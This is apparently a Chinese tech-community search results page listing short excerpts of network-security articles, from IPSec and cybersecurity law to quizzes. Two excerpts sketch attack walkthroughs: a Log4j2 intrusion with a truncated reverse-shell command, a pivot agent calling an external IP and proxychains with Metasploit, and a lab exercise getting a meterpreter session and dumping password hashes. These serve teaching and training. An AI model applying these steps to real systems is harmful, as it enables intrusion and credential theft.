- 综合排序
- 最热优先
- 最新优先
- 来自专栏python基础文章
网络安全——网络层IPSec安全协议（4）
IPSec规定了如何在对等层之间选择安全协议、确定安全算法和密钥交换，向上提供访问控制、数据源认证、数据加密等网络安全服务。 AH头是一个IPv6的扩展头按照RFC2460标准的规定：它的值是头长度减去一个64位，在认证数据为标准的96位时，这个域的值为4。 （3）保留字段：16位，该字段用于今后的扩充，设置为0。 （4）安全参数索引SPl：专有32位值，用以区分那些目的IP地址和安全协议类型相同，但算法不同的数据包。 （5）序列号：32位整数，它代表一个单调递增计数器的值。 通常，当用于IPv6时，AH出现在IPv6逐跳路由头之后，IPv6目的选项之前；而用于IPv4时，AH跟随主IPv4头。
1.2K20编辑于 2023-10-15 Apache Log4j2网络安全事件
一 .利用 log4j2 漏洞获取目标机权限1.信息搜集访问目标端口，寻找可能存在的漏洞2.反弹shellcd /opt/Tools/Log4j2_shell echo -n 'bash -i >& 环cat /proc/1/cgroup（2）收集敏感信息（3）联系之前外网收集时发现目标（10.0.0.11）22 端口开放，尝试 远程登录利用ssh连接 ssh root@10.0.0.1（4） /agent_linux_x64 -rhost 123.180.208.153 -rport 12000（3）使用 venom 开启 socks5 代vim /etc/proxychains4.conf #攻击机配置代理文（4）使用 proxychains代理开始攻击proxychains msfconsole（1）使用 smb 版本探测模块对 10.10.30.0/24 进行初步探测use auxiliary 2.15.0 及以上 2.添加 jvm 启动参数-Dlog4j2.formatMsgNoLookups=true3.修改配置文件 log4j2.formatMsgNoLookups=True 4.修改环境变量
54450编辑于 2024-08-19- 来自专栏网络安全观
美军网络安全 | 第4篇：跨域解决方案（CDS）
一、前期回顾 “美军网络安全”系列第一篇（美军网络安全 | 开篇：JIE（联合信息环境）概述）介绍了美军JIE（联合信息环境）的总体情况。 JIE的9大关键领域如下：1）网络现代化（网络规范化）；2）网络安全体系架构（单一安全架构-SSA/CCA）；3）身份和访问管理（IdAM）；4）企业运营；5）企业服务；6）云计算；7）数据中心整合；8 本系列第二篇（美军网络安全 | 第2篇：JIE网络安全架构SSA（单一安全架构））介绍了网络安全体系架构，即单一安全架构（SSA/CCA），主要是从安全思想和理念层面描述。 k.不同安全域之间传输的信息，必须按照国防部手册5200.01第1卷至第4卷正确标记、保护和传播。 4）空军研究实验室SecureView（安全视图） SecureView是空军开发的访问型CDS产品，使用单台计算机承载在不同分类级别上运行的多个来宾虚拟机（VM）。
4.5K10发布于 2021-02-26 - 来自专栏全栈程序员必看
高校 网络安全_网络安全之道
学校 IT 部门只有 3~4人，难以应对每天数百次的各类攻击，以及各类新型威胁，IT 部门负责人和安全人员对校园网络安全现状、 运维处置非常担忧，希望通过有效的手段进行全面安全防护。 如果有更高的办公网络安全需求，比如要阻止“恶意挖矿”、防勒索软件、防木马病毒等，则可选择微步在线OneDNS企业版。 OneDNS这么一个轻量、安全的DNS防护，可以助力高校的网络安全。
4.1K30编辑于 2022-09-27 - 来自专栏网络技术联盟站
飞塔Fortinet网络安全专家NSE4-ppt-02-日志与监控
来源：网络技术联盟站 链接：https://www.wljslmz.cn/19983.html
39020编辑于 2023-03-01 - 来自专栏编程技术宇宙
网络安全
网络安全 SQL注入 Web安全三板斧之首，大名鼎鼎的SQL注入。 </script> 2、用户点击后，该JS作为请求参数传给Web服务器后端 3、后端服务器没有检查过滤，简单处理后放入网页正文中返回给浏览器 4、浏览器解析返回的网页，中招！ 常见的套路举例如下： 1、攻击者网页回帖，帖子中包含JS脚本 2、回帖提交服务器后，存储至数据库 3、其他网友查看帖子，后台查询该帖子的回帖内容，构建完整网页，返回浏览器 4、该网友浏览器渲染返回的网页 记得刚刚学习网络安全的时候，大家总会没事拿出工具来扫一扫，虽然扫了之后就没有了下文，也总是乐此不疲，在不懂的人面前秀一把自己的“黑客”能力。 常用的对称加密算法有： DES AES RC4 这种加密方式中有一个非常关键的问题是，解密方需要拿到密钥才能进行解密，而密钥钥匙通过网络传输又会面临不安全的风险，这成了一个鸡生蛋，蛋生鸡的问题。
2.2K41编辑于 2022-04-02 - 来自专栏全栈程序员必看
如何入门网络安全_网络安全自学
由于我之前写了不少网络安全技术相关的故事文章，不少读者朋友知道我是从事网络安全相关的工作，于是经常有人在微信里问我： 我刚入门网络安全，该怎么学？要学哪些东西？有哪些方向？怎么选？ 网络安全分支 其实在网络安全这个概念之上，还有一个更大的概念：信息安全。本文不去探讨二者在学术划分上的区别，如无特殊说明，文中将其视为一个概念，我们来看下实际工作方向上，有哪些细分路线。 ，网络安全作为一个行业也不例外，不同的是这个行业的研发就是开发与网络安全业务相关的软件。 在这种情况下，如果除了基本的开发功底以外，对网络安全技术有所了解，自然会是你面试这些岗位时的加分项。 第一步：计算机基础 这第一步，其实跟网络安全关系都不太大，而是进入IT领域的任何一个人都要掌握的基础能力。
2.5K25编辑于 2022-11-01 - 来自专栏白菜博客
网络安全
竞赛内容：重点考核参赛选手网络系统安全策略部署、信息保护、网络安全运维管理的综合实践能力，具体包括：（1）参赛选手能够在赛项提供的服务器上配置各种协议和服务，实现网络系统的运行，并根据网络业务需求配置各种安全策略 （4）参赛选手通过分组混合对抗的形式，能够实时防护自己服务器，抵御外界的攻击，同时能够对目标进行渗透和攻击。 运行3.用共享文件将newgames.exe共享给windwos7，在windwos7中运行它，如果你有入侵的技术肯定更好，直接把文件上传到靶机靶机打开后在bt5中会弹出一个meterpreter窗口4. 4. hashdump：该命令是一个post模块，需要配合meterpreter使用，这个命令是用来获取目标系统的哈希值的，输入”run post/windows/gather/hashdump”5.
47010编辑于 2025-08-18 - 来自专栏一名合格java开发的自我修养
网络安全
对称密钥中，加解密双方难以使用相同密钥，难以事先确定使用一样的密钥。如果网上传输密钥，也会被人截取（截取后，该信息不会发给接收方，只能由接收方发）知道的，恶意者截取信息，获得密钥，进行伪造，在用密钥加密，发给接收方，接收方虽能解密，但无法保证信息的正确信，是不是发送方发来的。
1.8K30发布于 2018-08-29 - 来自专栏网络技术联盟站
飞塔Fortinet网络安全专家NSE4-ppt-03-防火墙策略
来源：网络技术联盟站 链接：https://www.wljslmz.cn/19989.html 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
69320编辑于 2023-03-01 - 来自专栏高防
网络安全与IP安全网络安全
网络安全是指网络系统的硬件，软件以及系统中的数据收到的保护。保护的基本属性为：机密性，身份认证，完整性和可用性；基本特征：相对性，时效性，相关性，不确定性，复杂性和重要性。 因为Internet最初设计几乎没考虑安全性，所以网络安全需要在网络的各个层次考虑。 网络安全威胁主要有窃听，插入，假冒（伪造源IP），劫持接管连接和拒绝服务等攻击，具体方法如下：映射（扫描）：确定主机开放的端口及运行的服务，工具nmap；对策：记录网络配置，分析识别可疑活动。 VPN是通过建立在公共网络上的安全通道，实现远程用户等与总部的安全连接，不实际独占公共网络的资源，是一条逻辑穿过公共网络安全稳定的隧道。 加密实现过程如下：计算出数据完整校验值icv，附于数据后四位测测，每端有104位共享秘钥，发送端生成24位初始向量附到秘钥上，发送端附加8位keyid，128位秘钥输入到伪随机数发生器产生秘钥流，利用rc4算法加密数据
2.4K20编辑于 2022-12-08 - 来自专栏python基础文章
网络安全协议
前言 本章将会进行网络安全协议的讲解 一.网络安全 1.什么是网络安全 网络安全（Cyber Security）是指网络系统的硬件、软件及其系统中的数据受到保护，不因偶然的或者恶意的原因而遭受到破坏 2.网络安全的必要性 网络安全一直是一个倍受关注的领域。如果缺乏一定的安全保障，无论是公共网络还是企业专用网络，都难以抵挡网络攻击和非法入侵。 （4）通用准则CC 1993年6月，美国、加拿大及欧洲4国经协商同意，起草单一的通用准则（CC），并将其推进到国际标准。 ·E4级：除了E3级的要求外，必须有支持安全目标的安全策略的基本形式模型。 功能性要求为机密性、完整性、可用性和可控性4个大类。每种安全要求又分成多级，用于表示安全性上的差别，并按程度不同分为0~5级。
1.4K30编辑于 2023-10-15 - 来自专栏2024年网络安全宣传周
网络安全宣传周 - 网络安全法
然而，网络安全问题也日益凸显，给个人、企业和国家带来了严重的威胁。为了加强网络安全管理，保障网络安全，我国制定了《网络安全法》。 网络安全宣传周是我国为了普及网络安全知识、提高公众网络安全意识而设立的重要活动。本研究报告将围绕网络安全宣传周和《网络安全法》展开，深入分析其重要意义、实施效果以及存在的问题，并提出相应的建议。 （二）历年网络安全宣传周的主题和活动内容历年的网络安全宣传周都有不同的主题，如 “网络安全为人民，网络安全靠人民” 等。 （三）《网络安全法》的实施对网络安全的影响强化了网络安全管理《网络安全法》明确了网络运营者、网络产品和服务提供者等主体的安全义务，加强了对网络安全的管理和监督，提高了网络安全保障水平。 促进了网络安全产业发展《网络安全法》的实施为网络安全产业带来了新的机遇和挑战，促进了网络安全技术的创新和发展，推动了网络安全产业的壮大。
49500编辑于 2024-12-01 - 来自专栏物联网系统集成
网络安全试题
一.网络安全选择题（20道）1.常见的网络攻击类型中，以下哪个是一种拒绝服务（DoS）攻击？A. 木马B. SQL注入C. 垃圾邮件D. SYN洪水攻击2.下列哪项不是网络安全的三要素之一？A. 防火墙4.下列哪项不是恶意软件的类型？A. 病毒B. 木马C. 防火墙D. 蠕虫5.防火墙的作用是什么？A. 加密网络数据B. 阻止未经授权的访问C. 增加网络带宽D. Snort14.下列哪项是一种常见的网络安全威胁？A. 防火墙B. 病毒C. 加密D. 双因素认证15.以下哪个是一种常见的网络安全协议？A. HTTPB. FTPC. TCPD. SMTP19.在网络安全中，__________ 是一种通过将数据包装在另一个协议的数据包中来隐藏数据的方法。A. 路由B. 隧道C. 代理D. 网关20.下列哪项是一种常见的网络安全威胁分析工具？ __________ 是一种通过限制或禁止对网络资源的访问来保护网络安全的措施。在网络安全中，__________ 是一种通过利用系统或应用程序中的安全漏洞来获取未经授权的访问权限的攻击方式。
2.2K10编辑于 2023-12-31 - 来自专栏Baili Blog
前端网络安全
在用户信息通过验证后，网站A产生Cookie信息并返回给浏览器，此时用户登录网站A成功，可以正常发送请求到网站A； 3）用户未退出网站A之前，在同一浏览器中，打开一个TAB页访问网站B； 4）
1.7K30编辑于 2023-03-09 - 来自专栏2024年网络安全宣传周
网络安全宣传周 - 网络安全审查办法
在网络安全宣传周期间，深入研究《办法》对于提高全社会的网络安全意识、加强网络安全保障具有重要意义。 （四）审查机制国家建立网络安全审查工作机制，由国家网信部门会同国务院有关部门成立网络安全审查办公室，负责制定网络安全审查相关制度规范，组织网络安全审查。 （三）维护国家网络安全主权网络安全审查是国家行使网络安全主权的重要体现。通过对关键信息基础设施的安全审查，可以有效防范外部威胁，维护国家的网络安全主权和利益。 五、网络安全宣传周中对《网络安全审查办法》的宣传推广（一）举办专题讲座和培训在网络安全宣传周期间，可以邀请专家学者举办《网络安全审查办法》专题讲座和培训，向政府部门、企业和社会公众普及网络安全审查的知识和要求 在网络安全宣传周期间，加强对《网络安全审查办法》的宣传推广，有助于提高全社会的网络安全意识，推动《网络安全审查办法》的贯彻实施。各方应共同努力，加强网络安全审查工作，为国家的安全和发展提供坚实的保障。
63110编辑于 2024-12-01 - 来自专栏开源栈
网络安全吗？
从当初直板手机的GPRS网络，到GSM（俗称2G网络），到WCDMA（也就是3G）网络，再到今天的LTE（4G网络），可是人类还是不满足，又开启了5G网络，网络变得越来越快！
2K20编辑于 2022-09-28 - 来自专栏物联网系统集成
网络安全试题
4. 漏洞分析：问题： 分析一个给定的漏洞场景，并提出可能的威胁和潜在的解决方案。答案： 这取决于具体的漏洞场景，但可能的威胁包括数据泄露、未经授权的访问等。 基于分析提出改进网络安全的建议。答案： 异常活动可能包括多次失败的登录尝试、未经授权的访问等。建议可能包括增强登录验证、实施多因素身份验证等。10. 法规和合规性：问题： 解释GDPR、HIPAA或其他网络安全法规的要求。讨论组织如何保持合规性。 新兴威胁和趋势：问题： 调研当前的网络安全威胁和趋势，例如人工智能和物联网的安全挑战。提出对抗这些威胁的策略。
67710编辑于 2023-11-24 - 来自专栏云开发分享
网络安全知识
路由器等连接设备以及网络协议 2、什么是计算机网络 一些相互连接的以共享资源为目的的自治的计算机的集合 3、互联网应用上主要采用的TCP/IP四层模型 从下至上有网络接口层 网络层 传输层与应用层 4、 二、协议基础 1、TCP协议作用 面向有连接的传输层协议 2、IP协议的作用 将分组数据包发送到目标主机 3、超文本传输协议HTTP是什么 浏览器与客户端通信所使用的协议传输数据主要格式为HTML 4、 比如防火墙技术 4、什么是检测 对内网中可疑消息进行判断或评估的方法。 攻击者可以物理接触到被害者的主机并对该主机实施攻击的行为 19、主动攻击是什么 对被害者的消息进行更改或拒绝用户使用资源的攻击方式它包括篡改消息，伪造消息以及拒绝服务等 20、被动攻击的方式是什么 窃听、流量分析等攻击方式 二、网络安全事件 开放式安全套接层协议OpenSSL是什么 是一个强大的安全套接字层密码库包括主要的密码算法、常用的密钥和证书封装管理功能以及SSL协议 3、导致18岁的徐玉玉不幸离世的恶性事件是什么原因 个人信息泄露 4、
2K21发布于 2020-04-19 - 来自专栏韩曙亮的移动开发专栏
【网络安全】网络安全攻防 -- 黑客攻击简要流程
SMB-NAT : SMB网络分析工具; -- rpcinfo : 该工具可以显示使用 portmap 注册程序的信息, 向程序进行 RPC 调用, 检查它们是否正常运行; -- Cisco Torch : 4. 主要是利用漏洞代码使目标系统瘫痪; 使用到的技术 : SYN泛洪, ICMP技术, Overlapping fragment, Out of bounds TCP options, DDoS; 使用到的工具 : synk4,
1.7K30编辑于 2023-03-27
腾讯云开发者
Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 
粤公网安备44030502008569号
腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号